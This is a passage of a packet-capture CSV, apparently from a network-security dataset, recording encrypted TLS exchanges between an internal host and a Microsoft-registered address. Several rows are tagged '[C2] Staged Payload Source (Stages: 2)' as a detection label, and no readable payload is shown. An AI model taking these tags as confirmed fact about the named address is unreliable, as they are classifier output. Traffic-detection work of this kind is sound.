56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.061033,69,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3062735875 Ack=1686838549,bc2411360d0cbc24112907bb0800450001d33f0e400040061ed52862103d0a98980b01bbf9f9b68da403648b1d155018003fdd070000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07cd223df5534487a32c9262867b450bfb162b830da946621600bc232e42500b082ffb692b01afdaefb7af04ac115c63fbfcf6ad431a452f1572c9ec0d806e74eeefc41485ba91ad6d46f2087d19d179ca311e7146c19b05637b49d8d937614c308fc195be55680c12cced49cc25e6a590c5976b82d4bb96d23676681a78d42cdd18d39d0e3c1de08b3671c98e5689561258ea336baadae1b6b3cf3ca141d7c3b5435cdfeb1f79831a63c6af48e99e54e2d43503890e097278cbb9cd57ee4fd8d565d7e430204a4ea68775ad6834b0b04de16ad97b8c26dc3491a8b1ca29e5e2a79148082c8c08819c708b92889634313371fde8dcce2e0aa143743abd2d2943ce1a4c5db23a16eade190c7180d3ee5239a14030300010116030300280000000000000000b59c2a2ae684f33d61b63bf7225dd48aa7fb09ba3bfd0acddea3fc6d8af23a1b17030300400000000000000001602f0ab842d1475ef75c282656739c99ef9894f1959f26b1065fa1effa4f8b80af8a7e45c3707b85ca065e1f762b8f9292410f3af3ca5dd6,\"..**...=a.;.\"\"]....\t.;.\n....m..:.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 16142, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7893, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062735875, \"\"ack\"\": 1686838549, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56583, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|\\\\xd2#\\\\xdfU4Hz2\\\\xc9&(g\\\\xb4P\\\\xbf\\\\xb1b\\\\xb80\\\\xda\\\\x94f!`\\\\x0b\\\\xc22\\\\xe4%\\\\x00\\\\xb0\\\\x82\\\\xff\\\\xb6\\\\x92\\\\xb0\\\\x1a\\\\xfd\\\\xae\\\\xfbz\\\\xf0J\\\\xc1\\\\x15\\\\xc6?\\\\xbf\\\\xcfj\\\\xd41\\\\xa4R\\\\xf1W,\\\\x9e\\\\xc0\\\\xd8\\\\x06\\\\xe7N\\\\xee\\\\xfcAH[\\\\xa9\\\\x1a\\\\xd6\\\\xd4o \\\\x87\\\\xd1\\\\x9d\\\\x17\\\\x9c\\\\xa3\\\\x11\\\\xe7\\\\x14l\\\\x19\\\\xb0V7\\\\xb4\\\\x9d\\\\x8d\\\\x93v\\\\x14\\\\xc3\\\\x08\\\\xfc\\\\x19[\\\\xe5V\\\\x80\\\\xc1,\\\\xce\\\\xd4\\\\x9c\\\\xc2^jY\\\\x0cYv\\\\xb8-K\\\\xb9m#gf\\\\x81\\\\xa7\\\\x8dB\\\\xcd\\\\xd1\\\\x8d9\\\\xd0\\\\xe3\\\\xc1\\\\xde\\\\x08\\\\xb3g\\\\x1c\\\\x98\\\\xe5h\\\\x95a%\\\\x8e\\\\xa36\\\\xba\\\\xad\\\\xae\\\\x1bk<\\\\xf3\\\\xca\\\\x14\\\\x1d|;T5\\\\xcd\\\\xfe\\\\xb1\\\\xf7\\\\x981\\\\xa6<j\\\\xf4\\\\x8e\\\\x99\\\\xe5N-CP8\\\\x90\\\\xe0\\\\x97'\\\\x8c\\\\xbb\\\\x9c\\\\xd5~\\\\xe4\\\\xfd\\\\x8dV]~C\\\\x02\\\\x04\\\\xa4\\\\xeahwZ\\\\xd6\\\\x83K\\\\x0b\\\\x04\\\\xde\\\\x16\\\\xad\\\\x97\\\\xb8\\\\xc2m\\\\xc3I\\\\x1a\\\\x8b\\\\x1c\\\\xa2\\\\x9e^*y\\\\x14\\\\x80\\\\x82\\\\xc8\\\\xc0\\\\x88\\\\x19\\\\xc7\\\\x08\\\\xb9(\\\\x89cC\\\\x137\\\\x1f\\\\xde\\\\x8d\\\\xcc\\\\xe2\\\\xe0\\\\xaa\\\\x147C\\\\xab\\\\xd2\\\\xd2\\\\x94<\\\\xe1\\\\xa4\\\\xc5\\\\xdb#\\\\xa1n\\\\xad\\\\xe1\\\\x90\\\\xc7\\\\x18\\\\r>\\\\xe5#\\\\x9a\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xb5\\\\x9c**\\\\xe6\\\\x84\\\\xf3=a\\\\xb6;\\\\xf7\\\"\"]\\\\xd4\\\\x8a\\\\xa7\\\\xfb\\\\t\\\\xba;\\\\xfd\\\\n\\\\xcd\\\\xde\\\\xa3\\\\xfcm\\\\x8a\\\\xf2:\\\\x1b' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01`/\\\\n\\\\xb8B\\\\xd1G^\\\\xf7\\\\\\\\(&Vs\\\\x9c\\\\x99\\\\xef\\\\x98\\\\x94\\\\xf1\\\\x95\\\\x9f&\\\\xb1\\\\x06_\\\\xa1\\\\xef\\\\xfaO\\\\x8b\\\\x80\\\\xaf\\\\x8a~E\\\\xc3p{\\\\x85\\\\xca\\\\x06^\\\\x1fv+\\\\x8f\\\\x92\\\\x92A\\\\x0f:\\\\xf3\\\\xca]\\\\xd6' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.061293,70,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838549 Ack=3062736302,bc24112907bbbc2411360d0c080045000028f1db400080062db20a98980b2862103df9f901bb648b1d15b68da5ae501003faf7060000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d.......P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61915, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11698, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838549, \"\"ack\"\": 3062736302, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 63238, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.065292,71,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838549 Ack=3062736302,bc24112907bbbc2411360d0c08004500007ff1dc400080062d5a0a98980b2862103df9f901bb648b1d15b68da5ae501803fa08650000170303005200000000000000014a496f5b6eae29925cd4151ce6545ddc7344b7cc3f25ccc1fa2419ce2c4c78895d560506f72cd857b0107651a5a446f621facf7da1918c97fec33ee2d991c21c2a157b811bb6a2fda59a,\".$.)...$.6\n...E.....@...-Z\n...(b.=....d.......P....e......R........JIo[n.).\\....T].sD..?%...$..,Lx.]V...,.W..vQ..F.!..}......>.....*.{.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 61916, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11610, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838549, \"\"ack\"\": 3062736302, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 2149, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01JIo[n\\\\xae)\\\\x92\\\\\\\\\\\\xd4\\\\x15\\\\x1c\\\\xe6T]\\\\xdcsD\\\\xb7\\\\xcc?%\\\\xcc\\\\xc1\\\\xfa$\\\\x19\\\\xce,Lx\\\\x89]V\\\\x05\\\\x06\\\\xf7,\\\\xd8W\\\\xb0\\\\x10vQ\\\\xa5\\\\xa4F\\\\xf6!\\\\xfa\\\\xcf}\\\\xa1\\\\x91\\\\x8c\\\\x97\\\\xfe\\\\xc3>\\\\xe2\\\\xd9\\\\x91\\\\xc2\\\\x1c*\\\\x15{\\\\x81\\\\x1b\\\\xb6\\\\xa2\\\\xfd\\\\xa5\\\\x9a' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.065311,72,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062736302 Ack=1686838636,bc2411360d0cbc24112907bb0800450000283f0f40004006207f2862103d0a98980b01bbf9f9b68da5ae648b1d6c5010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. .(b.=\n...........d..lP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16143, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8319, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062736302, \"\"ack\"\": 1686838636, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.065319,73,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838636 Ack=3062736302,bc24112907bbbc2411360d0c08004500009cf1dd400080062d3c0a98980b2862103df9f901bb648b1d6cb68da5ae501803fabd240000170303006f000000000000000230a2031798e3c1ee4e27030ed27539e870b2516ed844cee2a00fcc1ed403f507bb51e517ed9505ff9eff0570273d2fd8537389aceef4a875ad655905e805eba0620931cbdc028f79ecf589fb5fb738537c96765a395751b98cea75bde9633f19ff31994f73f6df,\".$.)...$.6\n...E.....@...-<\n...(b.=....d..l....P....$......o........0.......N'...u9.p.Qn.D...........Q.........p'=/.Ss.....u.eY.....b\t1....y...._.8S|.vZ9WQ...u..c?..1.Os..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 61917, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11580, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838636, \"\"ack\"\": 3062736302, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 48420, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x020\\\\xa2\\\\x03\\\\x17\\\\x98\\\\xe3\\\\xc1\\\\xeeN'\\\\x03\\\\x0e\\\\xd2u9\\\\xe8p\\\\xb2Qn\\\\xd8D\\\\xce\\\\xe2\\\\xa0\\\\x0f\\\\xcc\\\\x1e\\\\xd4\\\\x03\\\\xf5\\\\x07\\\\xbbQ\\\\xe5\\\\x17\\\\xed\\\\x95\\\\x05\\\\xff\\\\x9e\\\\xff\\\\x05p'=/\\\\xd8Ss\\\\x89\\\\xac\\\\xee\\\\xf4\\\\xa8u\\\\xadeY\\\\x05\\\\xe8\\\\x05\\\\xeb\\\\xa0b\\\\t1\\\\xcb\\\\xdc\\\\x02\\\\x8fy\\\\xec\\\\xf5\\\\x89\\\\xfb_\\\\xb78S|\\\\x96vZ9WQ\\\\xb9\\\\x8c\\\\xeau\\\\xbd\\\\xe9c?\\\\x19\\\\xff1\\\\x99Os\\\\xf6\\\\xdf\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.065323,74,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062736302 Ack=1686838752,bc2411360d0cbc24112907bb0800450000283f1040004006207e2862103d0a98980b01bbf9f9b68da5ae648b1de05010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. ~(b.=\n...........d...P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16144, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8318, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062736302, \"\"ack\"\": 1686838752, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.065372,75,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838752 Ack=3062736302,bc24112907bbbc2411360d0c08004500004ef1de400080062d890a98980b2862103df9f901bb648b1de0b68da5ae501803fa0952000017030300210000000000000003f0ceea55bf644bb5e44c276123cc1c20a3108ec9854afaafd5,\".$.)...$.6\n...E..N..@...-.\n...(b.=....d.......P...\tR......!...........U.dK..L'a#.. .....J...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 61918, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11657, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838752, \"\"ack\"\": 3062736302, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 2386, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xf0\\\\xce\\\\xeaU\\\\xbfdK\\\\xb5\\\\xe4L'a#\\\\xcc\\\\x1c \\\\xa3\\\\x10\\\\x8e\\\\xc9\\\\x85J\\\\xfa\\\\xaf\\\\xd5\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:51.065376,76,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062736302 Ack=1686838790,bc2411360d0cbc24112907bb0800450000283f1140004006207d2862103d0a98980b01bbf9f9b68da5ae648b1e065010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. }(b.=\n...........d...P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16145, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8317, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062736302, \"\"ack\"\": 1686838790, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:51.421423,77,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3062736302 Ack=1686838790,bc2411360d0cbc24112907bb08004500042b3f12400040061c792862103d0a98980b01bbf9f9b68da5ae648b1e065018003fdf5f000017030300210000000000000002f706bd9a998ba459ecac9233b1136109fa093268bec78d273e17030302db0000000000000003f2197a49829dff70dc2991f760c7a6f103b82059084d3e4e96f5a1026867e949e8e87ca0a672f84efff06e97b749762750005fbbc4cd5dc905c354318d00edef5aa007fe17415a457a9e12945b0142648756784120bb0d8eba8fab4761077b3487590e89419bd0734046b9ea5ece4109ec2810c38690a081fd3878604222be1e60de9769f4bd142e4ea03e04ae9b846be50265badd2df65ca7c41dafb0cb0fa777053b5a7313605a174998d8a3bc9d9ce48aaa57f2b0a07cc23bc6cb1d6b834071adeee61c44927c120c529bc254dcc548b635ab73f2edc06abe651b14dd5a8a7fbd9e4ccc2ea5bd7d7dbdf2390a9157f8a94c86e70ce85179d353dee985b12a73fe0fb9a5fa53f5b9a9b52f1d931af6ec183758b040cf1978e221a1e61140d97fc63673cd24ec0a3158c6ad708021fb576f1809f5bbf913e434e91223cc9cac55212485025a5e40a20ee17c923c4366a3e808b280e2b24b2c87dbb07e671dbe2e0c6d8e8b7da0aa2d5e8fb72bd40a0486ce0d1135dbe7b05c0f68d22960ea08d2a3d7736677add157c985684920e2d84e1ecbedd70313837a1e163b5ab8b896394919147fead90432baf79a365f6b18197508fd5f9658d69f8d4d1c2a7e934e71dd8a47e3198b330686ff7f5ccf2380a00543187c45f61be1772219b8404cc9fd20fc13f1bbb1777b8e9a5cb267a003edaf972aba98399a3e8e54f0821faa3b6941dc1711c636726d7a4ea63788b3935f8462751c2a07603b5661b2296cb6a28d36b709a8c68ce8810bdfbaff21f40ad86aa2fab879e0661326e201ed3a086301b260ccc2705f5be5de5dfe0b7854138ca687c77415a14178e21877e01f4ba160125b25bf1efe7b9fa0958a278975bbd70f7a2a1a838782e948b4245d4ad80c5f8de8f5adbc0eacc9a4e3dc37ca604ca17d35c3f2935fc7231fefd176ab099303876da8603c76cf42f38fd3fd95c0e3e17158d29a83174c0e44da0cea9cb4846940ed918bb8cf47d3a7d545eaa6a0b6b01d2e17030300d200000000000000040bf36571e439c6ab6f922d4792dad89cfb42fff17ffcdb9f6f3c0a2f754b1681049af0546fdeb48e215a61ccbec42b4dbecfb5a2e2895ada82f3f87dade4233dbd0e691ce850f4948762c2c98c6a6f8db3fa6e9dd6dd41ce1c23dc7df0b565d941b033717b864eeaf5d993926e2db0825225cd096871c50c0f3f1c21ecff7be11a114bac1d993fe4d52a66ef58696c504f3bf48846b92e98d8763b49763d246e01ed6506c0b182346327d9a70a345b31960e532a011319ec6053ff8de904ca8cbb45a6d6dc6a1a434e131703030021000000000000000560c683ef44f67e15eadee5365a6a750e16338001edd4fd25c4,\".$.6\n..$.)....E..+?.@.@..y(b.=\n...........d...P..?._......!...............Y...3..a\t.\t2h...'>...............zI...p.)..`..... Y.M>N....hg.I..|..r.N..n..Iv'P._...]...T1....Z....AZEz...[.Bd.VxA .\n....Ga.{4.Y..A..s@F..^.A\t.(.......8x`B\"\"..`..i....N.>....k..e..-.\\........w.;Zs.`Z.I.........W...|.;...k.@q....D.|..R..T..H.5.s...j.e...Z....L....}}..9\n.W..L....Qy.S....*s.....S..../......7X.@..x.!...@...6s.$.\n1X..p.!.Wo.\t.....4..#...U!$..Z^@...|.<Cf.......K,...~g....m..}..-^..+.\n...\n.5...\\.h.)`.....sfw..W..hI ..N.......z..;Z...9I......2...6_k..u.._.X...M.*~.Nq..G...3....\\.#...C.|E...w\"\"..@L.. .....w{..\\.g.....*..9.>.T....;iA....6rmzN.7..._.bu.*.`;Va.)l...6.\t.........!.\n.j...y.f.&...:.c..`..p_[..]..xT.....t..Ax..w..K.`.[%...{....'.u...z*.....H.$]J.._...........7.`L.}5..._.#...v.\t...m.`<v.B........qX....L.D......i@.....G...E......................eq.9..o.-G.....B......o<\n/uK.....To...!Za...+M......Z....}..#=..i..P...b...jo...n...A..#.}..e.A.3q{.N.....n-..R%.\thq...?.!..{...K...?..*f.XilPO;..F....v;Iv=$n..e....4c'..\n4[1..S*....`S.......E...j.CN.....!........`...D.~....6Zju..3.....%.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1067, \"\"id\"\": 16146, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7289, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062736302, \"\"ack\"\": 1686838790, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57183, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  